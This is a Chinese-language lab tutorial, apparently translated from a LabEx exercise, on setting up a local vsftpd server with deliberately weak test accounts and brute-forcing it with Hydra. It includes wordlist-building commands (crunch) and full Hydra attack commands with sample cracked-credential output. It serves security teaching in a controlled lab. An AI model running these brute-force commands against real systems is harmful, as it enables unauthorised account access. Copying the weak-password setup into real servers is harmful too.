使用 Hydra 攻击 FTP 服务

HydraHydraBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在这个实验中,你将学习如何使用 Hydra(一种多功能的密码破解工具)对 FTP 服务进行暴力破解攻击。你将使用 vsftpd 设置一个本地 FTP 服务器,并创建具有弱密码的测试帐户,以演示安全漏洞。

本实验将指导你执行 Hydra 攻击、分析结果,并了解弱身份验证如何危及 FTP 服务。这个实践练习涵盖了在受控环境中的服务器配置、攻击模拟和安全评估。

设置本地 FTP 服务器

在这一步中,你将在 LabEx VM 环境中使用 vsftpd(Very Secure FTP Daemon,非常安全的 FTP 守护进程)设置一个本地 FTP 服务器。FTP(File Transfer Protocol,文件传输协议)是一种标准的网络协议,用于在客户端和服务器之间通过网络传输文件。可以把它想象成一个数字邮局,处理计算机之间的文件传递。

  1. 首先,我们需要安装 vsftpd 软件包。此命令会更新你的软件包列表并安装 FTP 服务器软件:
sudo apt-get update && sudo apt-get install -y vsftpd
  1. 安装完成后,最好备份默认的配置文件。这样,如果需要,你总是可以恢复原始设置:
sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
  1. 现在我们将使用 nano(Linux 中的一个简单文本编辑器)编辑配置文件。此文件控制你的 FTP 服务器的行为:
sudo nano /etc/vsftpd.conf
  1. 在配置文件中,我们需要修改这些重要的设置。这些更改将:
    • 禁用匿名访问(为了安全)
    • 允许本地用户登录
    • 允许文件上传
    • 将用户限制在其主目录中(为了安全)
anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES
modify configuration

你可以通过运行以下命令来验证更改:

grep -E "^(anonymous_enable|local_enable|write_enable|chroot_local_user|allow_writeable_chroot)=" /etc/vsftpd.conf | cat
verify configuration
  1. 完成这些更改后,按 Ctrl+O(Write Out,写出)保存文件,然后按 Ctrl+X 退出 nano。

  2. 现在我们需要重启 vsftpd 服务以应用我们的配置更改。这就像使用我们的新设置刷新服务器:

sudo service vsftpd restart
  1. 接下来,我们将创建一个专门用于 FTP 访问的测试用户帐户。-m 标志创建主目录,-s 设置默认 shell:
sudo useradd -m ftpuser -s /bin/bash
sudo passwd ftpuser

当出现提示时,将密码设置为 password123。我们仅出于测试目的使用这个简单的密码——在实际情况下,你应该始终使用强密码。

  1. 让我们创建一个特殊的目录用于 FTP 测试,并设置适当的权限。这确保我们的测试用户可以访问和修改此文件夹中的文件:
sudo mkdir -p /home/ftpuser/ftp_test
sudo chown ftpuser:ftpuser /home/ftpuser/ftp_test
  1. 最后,我们应该验证我们的 FTP 服务器是否正常运行。此命令检查 vsftpd 服务的状态:
sudo service vsftpd status
service status

你应该看到输出指示该服务处于活动状态(正在运行)。如果看到任何错误,你可能需要查看你的配置步骤。

配置 FTP 服务器与测试用户

在这一步中,我们将通过创建具有故意设置的弱密码的测试帐户,来为我们的 FTP 服务器进行安全测试做准备。此设置模拟了在真实系统中发现的常见安全漏洞,在这些系统中,用户通常选择简单的密码。我们将创建 3 个测试用户,设置他们的主目录,并生成 Hydra 稍后将使用的密码列表。

  1. 首先,让我们创建 3 个具有弱密码的测试用户(仅用于演示目的)。这些命令创建具有主目录的新系统用户并设置他们的密码:
sudo useradd -m ftpuser1 -s /bin/bash
echo "ftpuser1:password1" | sudo chpasswd

sudo useradd -m ftpuser2 -s /bin/bash
echo "ftpuser2:password2" | sudo chpasswd

sudo useradd -m ftpuser3 -s /bin/bash
echo "ftpuser3:password3" | sudo chpasswd
  1. 现在,我们将为每个用户创建专用的 FTP 目录并设置正确的权限。这确保每个用户只能通过 FTP 访问他们自己的文件:
sudo mkdir -p /home/ftpuser1/ftp_files
sudo mkdir -p /home/ftpuser2/ftp_files
sudo mkdir -p /home/ftpuser3/ftp_files

sudo chown ftpuser1:ftpuser1 /home/ftpuser1/ftp_files
sudo chown ftpuser2:ftpuser2 /home/ftpuser2/ftp_files
sudo chown ftpuser3:ftpuser3 /home/ftpuser3/ftp_files
  1. 让我们用一个测试文件填充每个用户的目录。这些文件将帮助验证稍后是否成功进行了 FTP 访问:
echo "This is ftpuser1's test file" | sudo tee /home/ftpuser1/ftp_files/test1.txt
echo "This is ftpuser2's test file" | sudo tee /home/ftpuser2/ftp_files/test2.txt
echo "This is ftpuser3's test file" | sudo tee /home/ftpuser3/ftp_files/test3.txt
  1. 在继续之前,让我们验证 FTP 访问是否适用于我们的一个测试用户。此 curl 命令尝试使用 FTP 凭据下载文件:
curl -u ftpuser1:password1 ftp://localhost/ftp_files/test1.txt

如果配置正确,你应该在终端中看到 test1.txt 的内容。

This is ftpuser1's test file

准备用于 FTP 的攻击列表

在这一步中,你将准备 Hydra 将用于尝试登录 FTP 服务器的密码字典(wordlist)。这些列表包含 Hydra 在暴力破解攻击期间将系统地尝试的潜在用户名和密码。了解如何创建有效的密码字典对于渗透测试至关重要。

  1. 首先,我们将创建一个基本的用户名列表,其中包含常见的 FTP 用户名。这些是默认或经常使用的帐户名,管理员有时会忘记更改:
echo -e "ftpuser1\nftpuser2\nftpuser3\nadmin\nroot\nftp\ntest\nuser\nanonymous" > ~/project/ftp_users.txt
  1. 接下来,我们将创建一个包含常见弱密码的密码列表。许多用户设置了简单易记但也容易被猜到的密码:
echo -e "password1\npassword2\npassword3\npassword123\n123456\npassword\nadmin\nroot\nftp\ntest\nqwerty\nletmein" > ~/project/ftp_passwords.txt
  1. 让我们通过显示其内容来验证是否正确创建了这两个文件。这确保我们的列表包含我们想要的内容:
cat ~/project/ftp_users.txt
cat ~/project/ftp_passwords.txt
  1. 为了生成更复杂的密码组合,我们将安装 crunch 工具。这有助于创建可能在真实系统中使用的系统密码模式:
sudo apt-get install -y crunch
  1. 现在我们将使用 crunch 生成正好 6 位数字的数字密码。这模拟了常见的仅包含数字的密码,例如出生日期或简单的 PIN 码:
crunch 6 6 1234567890 -o ~/project/numeric_passwords.txt
  1. 将所有密码列表合并为一个综合文件。这个合并的列表将为 Hydra 提供更多的密码选项,以便在攻击期间尝试:
cat ~/project/ftp_passwords.txt ~/project/numeric_passwords.txt > ~/project/combined_passwords.txt
  1. 检查我们创建了多少个密码条目。这有助于估计暴力破解攻击可能需要多长时间:
wc -l ~/project/combined_passwords.txt
  1. 最后,创建一个较小的测试密码文件,用于演示目的。在运行完整攻击之前,使用子集有助于验证我们的设置是否有效:
head -n 50 ~/project/combined_passwords.txt > ~/project/test_passwords.txt

对 FTP 服务执行 Hydra 攻击

在这一步中,你将使用 Hydra 对我们之前配置的本地 FTP 服务器执行暴力破解攻击。Hydra 是一种流行的密码破解工具,支持包括 FTP 在内的多种协议。暴力破解攻击会系统地尝试所有可能的密码组合,直到找到正确的密码为止。这说明了为什么弱密码容易受到此类攻击。

  1. 首先,通过检查其帮助菜单来验证是否已安装 Hydra。这确认该工具已准备好使用并显示可用选项:
hydra -h
  1. 使用我们创建的用户名和密码列表运行基本的 Hydra 攻击。-L 指定用户名列表,-P 指定密码列表。Hydra 将针对在 localhost 上运行的 FTP 服务尝试每种组合:
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
hydra attack
  1. 要查看有关攻击进度的更详细输出,请添加 -vV 标志。这种详细模式有助于了解 Hydra 在攻击期间正在做什么:
hydra -vV -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
  1. 使用完整的密码列表运行更全面的攻击(这将花费更长的时间)。-t 4 选项将并行连接限制为 4 个,以避免服务器过载,同时仍保持良好的速度:
hydra -L ~/project/ftp_users.txt -P ~/project/combined_passwords.txt ftp://localhost -t 4
  1. 当 Hydra 找到有效的凭据(credentials)时,它们将显示在输出中。这显示了哪个用户名/密码组合已成功通过 FTP 服务器的身份验证。成功输出示例:
[21][ftp] host: 127.0.0.1   login: ftpuser1   password: password1
  1. 将结果保存到文件中以供以后分析。-o 选项将输出写入文件,而不仅仅是在屏幕上显示:
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost -o ~/project/hydra_results.txt
  1. 验证结果文件以查看是否发现了任何凭据。这使你可以在攻击完成后查看结果:
cat ~/project/hydra_results.txt

总结

在这个实验中,你已经学习了如何使用 vsftpd 配置本地 FTP 服务器,包括软件包安装、为本地用户访问进行的配置调整以及使用弱密码创建测试帐户。该过程涉及修改 vsftpd.conf 设置、设置正确的目录权限以及验证服务功能。

此外,你还通过创建具有可预测凭据的多个帐户,为 Hydra 攻击准备了一个测试环境。此设置提供了一个受控的场景,可以在保持实际安全测试条件的同时练习暴力破解技术。